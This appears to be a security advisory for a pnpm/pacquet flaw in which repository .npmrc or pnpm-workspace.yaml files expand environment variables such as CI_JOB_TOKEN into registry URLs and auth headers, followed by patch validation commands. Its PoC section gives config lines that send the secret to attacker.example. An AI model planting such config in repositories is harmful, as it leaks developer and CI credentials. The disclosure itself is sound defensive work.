medium

CVE-2026-55180

npm · pnpm

Summary

pnpm: Repository config can expand victim environment secrets into registry requests before scripts run

Severity
medium
CVSS
6.5
EPSS
0.4% (p30)
CWE
CWE-200, CWE-201, CWE-522
Also known as
GHSA-3qhv-2rgh-x77r
Published
2026-06-26
Updated
2026-06-26

Advisory details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

Expected Patched Behavior

Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.

Files And Tests To Review

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json.

CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run

Advisory Details

Summary

pnpm and pacquet expanded ${ENV_VAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.

Details

The vulnerable TypeScript pnpm path was:

The pacquet parity path was:

PoC

Repository .npmrc URL-path exfiltration:

registry=https://attacker.example/${CI_JOB_TOKEN}/

Repository .npmrc auth-header exfiltration:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

Repository pnpm-workspace.yaml URL-path exfiltration:

registries:
  default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
  work: https://attacker.example/${CI_JOB_TOKEN}/npm/

Exploit method:

  1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CI_JOB_TOKEN or another sensitive environment variable present.
  2. Before the patch, repository config expanded the placeholder to the victim secret.
  3. The resolver used the expanded registry or matching auth entry to construct a metadata request.
  4. The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.

Impact

A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.

Affected Products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader; pacquet Rust port

Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.

Patched versions: pending release containing this patch.

Severity

Severity before patch: High

Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

S

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.